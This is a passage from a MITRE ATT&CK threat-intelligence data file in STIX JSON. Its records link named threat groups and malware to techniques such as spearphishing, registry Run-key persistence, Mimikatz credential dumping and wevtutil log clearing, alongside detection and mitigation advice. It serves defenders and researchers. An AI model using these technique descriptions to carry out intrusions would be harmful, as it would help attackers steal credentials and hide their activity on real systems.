contacting bing[.]com with the request format `bing[.]com?id=`.(Citation: Microsoft NICKEL December 2021)","modified":"2022-04-16T18:33:27.572Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--4d7bf2ac-f953-4907-b114-be44dc174d67","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f76d408-be8a-478e-8a5a-aab1d1f96572","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PaloAlto Patchwork Mar 2018","description":"Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"}],"modified":"2020-03-17T00:19:57.934Z","description":"[BADNEWS](https://attack.mitre.org/software/S0128) establishes a backdoor over HTTP.(Citation: PaloAlto Patchwork Mar 2018)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0f7756fb-ea96-4d3a-9a23-a0f0a326de63","created":"2019-08-27T13:11:10.528Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"EST Kimsuky April 2019","description":"Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.","url":"https://blog.alyac.co.kr/2234"},{"source_name":"Netscout Stolen Pencil Dec 2018","description":"ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.","url":"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.408Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has sent spearphishing emails containing a link to a document that contained malicious macros or took the victim to an actor-controlled domain.(Citation: EST Kimsuky April 2019)(Citation: Netscout Stolen Pencil Dec 2018)(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f785fc5-0d07-40bd-8d54-acfb79499824","type":"relationship","created":"2019-02-12T21:54:33.158Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/","source_name":"Unit42 Azorult Nov 2018"}],"modified":"2019-07-26T23:22:28.670Z","description":"[Azorult](https://attack.mitre.org/software/S0344) can delete files from victim machines.(Citation: Unit42 Azorult Nov 2018)","relationship_type":"uses","source_ref":"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f7dd23d-4f83-4db4-99cd-71556f3bb2c6","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib.","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f7dd352-4e6b-4852-a995-7b22c98b4fd2","type":"relationship","created":"2020-03-24T23:07:31.283Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-24T23:45:03.290Z","description":"Ensure proper permissions are set for Registry hives to prevent users from modifying keys for logon scripts that may lead to persistence.","relationship_type":"mitigates","source_ref":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","target_ref":"attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f7e7dc5-ea9c-4d9e-9acd-5fa0dd25910a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Wiarp May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99"}],"modified":"2020-03-19T21:52:07.316Z","description":"[Wiarp](https://attack.mitre.org/software/S0206) creates a backdoor through which remote attackers can download files.(Citation: Symantec Wiarp May 2012)","relationship_type":"uses","source_ref":"malware--039814a0-88de-46c5-a4fb-b293db21880a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0f7fd21f-9cba-411a-a8dc-f5689d294037","created":"2019-05-24T17:02:44.369Z","x_mitre_version":"1.0","external_references":[{"source_name":"Lab52 WIRTE Apr 2019","url":"https://lab52.io/blog/wirte-group-attacking-the-middle-east/","description":"S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WIRTE](https://attack.mitre.org/groups/G0090) has used VBScript in its operations.(Citation: Lab52 WIRTE Apr 2019)\t","modified":"2022-04-15T16:59:19.704Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0f8086c2-5432-455f-8012-201aed337725","created":"2022-09-27T16:24:07.110Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:24:07.110Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors' proxy implementation \"Agent\" upgraded the socket in use to a TLS socket.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f81e969-dfc4-4d37-8664-59c31bd7116c","type":"relationship","created":"2020-05-22T19:37:14.265Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Chafer February 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions","description":"Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."}],"modified":"2020-05-22T19:37:14.265Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used tools capable of stealing contents of the clipboard.(Citation: Symantec Chafer February 2018)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f880e99-efaa-4e85-91c3-cac3d81d6b9a","type":"relationship","created":"2019-10-15T22:28:40.394Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"},{"source_name":"Securelist Machete Aug 2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."},{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."},{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020."}],"modified":"2021-10-06T19:26:48.544Z","description":"[Machete](https://attack.mitre.org/groups/G0095) has relied on users opening malicious attachments delivered through spearphishing to execute malware.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)","relationship_type":"uses","source_ref":"intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0f90920b-ab2e-4c79-95a5-5438c172a46d","created":"2021-12-27T19:19:42.756Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) can add itself to the `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` and `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UIF2IS20VK` Registry keys.(Citation: Check Point Warzone Feb 2020)","modified":"2022-04-07T17:03:17.631Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f9283d3-3b13-47ca-9757-7a7739738356","type":"relationship","created":"2020-03-28T01:37:57.431Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-17T17:53:50.893Z","description":"Limit access to network infrastructure and resources that can be used to reshape traffic or otherwise produce AiTM conditions.","relationship_type":"mitigates","source_ref":"course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f","target_ref":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0f93a49a-11c8-49d8-9b58-e7136e6bc850","created":"2020-05-22T18:06:30.013Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.775Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used different versions of Mimikatz to obtain credentials.(Citation: BitDefender Chafer May 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f955c85-17f5-46cf-bf5c-eece3b6c08ca","type":"relationship","created":"2020-03-13T17:48:59.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Application Whitelisting","url":"https://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599","description":"Beechey, J.. (2014, November 18). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014."},{"source_name":"Microsoft Windows Defender Application Control","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control","description":"Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Microsoft Application Lockdown","url":"https://docs.microsoft.com/en-us/previous-versions/technet-magazine/cc510322(v=msdn.10)?redirectedfrom=MSDN","description":"Corio, C., & Sayana, D. P.. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014."},{"source_name":"Microsoft Using Software Restriction ","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/ee791851(v=ws.11)?redirectedfrom=MSDN","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016."}],"modified":"2021-08-23T20:25:22.578Z","description":"Adversaries will likely need to place new binaries in locations to be executed through this weakness. Identify and block potentially malicious software executed path interception by using application control tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.(Citation: SANS Application Whitelisting)(Citation: Microsoft Windows Defender Application Control)(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker)(Citation: Microsoft Application Lockdown)(Citation: Microsoft Using Software Restriction )","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0f97d56a-3484-47fb-a232-5a20121fa89c","created":"2019-01-30T13:53:14.944Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET GreyEnergy Oct 2018","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-08T15:46:08.096Z","description":"[GreyEnergy](https://attack.mitre.org/software/S0342) has used [Tor](https://attack.mitre.org/software/S0183) relays for Command and Control servers.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0f9b73b7-734d-4ceb-8a93-776652626c73","created":"2023-07-27T20:36:54.445Z","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-27T20:36:54.445Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has leveraged `WMI` to move laterally within a compromised network via application servers and SQL servers.(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0f9f6434-5732-49f1-a368-2d2cc9978ba2","created":"2022-04-11T19:02:45.355Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.","modified":"2022-04-11T19:02:45.355Z","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0f9f9bd3-ccea-4369-b8e7-371d1aad5ff8","created":"2024-02-22T22:48:25.135Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-03T19:42:07.771Z","description":"[APT41](https://attack.mitre.org/groups/G0096) uses multiple built-in commands such as systeminfo and `net config Workstation` to enumerate victim system basic configuration information.(Citation: Rostovcev APT41 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0fa0f5d6-be0b-4a48-938c-6d9bb8b1a170","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT34 July 2019","description":"Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34’s Invite to Join Their Professional Network. Retrieved August 26, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"},{"source_name":"FireEye APT34 Webinar Dec 2017","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"},{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"},{"source_name":"Unit42 OilRig Playbook 2023","description":"Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.","url":"https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-06T20:27:43.053Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [Mimikatz](https://attack.mitre.org/software/S0002) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)(Citation: FireEye APT34 July 2019)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0fa4f714-e906-4878-b556-788946a453b0","created":"2022-03-07T19:33:01.780Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) can use [Wevtutil](https://attack.mitre.org/software/S0645) to remove Security, System and Application Event Viewer logs.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-09T15:00:09.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0fa5e3ed-8b00-4f03-9adf-caf5d0e0bd2c","created":"2024-09-04T18:22:43.224Z","revoked":false,"external_references":[{"source_name":"Talos Manjusaka 2022","description":"Asheer Malhotra & Vitor Ventura. (2022, August 2). Manjusaka: A Chinese sibling of Sliver and Cobalt Strike. Retrieved September 4, 2024.","url":"https://blog.talosintelligence.com/manjusaka-offensive-framework/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T18:22:43.224Z","description":"[Manjusaka](https://attack.mitre.org/software/S1156) performs basic system profiling actions to fingerprint and register the victim system with the C2 controller.(Citation: Talos Manjusaka 2022)","relationship_type":"uses","source_ref":"malware--dd2ad3d7-d7ef-4af5-a919-bfe8f2571705","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0fae3830-5845-414a-8429-b95745b3db32","type":"relationship","created":"2021-09-30T14:30:23.133Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-09-30T14:30:23.133Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has a module that can proxy C2 communications.(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0fbd1a64-07c1-4b5f-bb3a-2de93a9088a9","created":"2024-08-09T19:37:08.499Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T19:30:24.709Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors used [ROADSWEEP](https://attack.mitre.org/software/S1150) ransomware to encrypt files on targeted systems.(Citation: Mandiant ROADSWEEP August 2022)(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Microsoft Albanian Government Attacks September 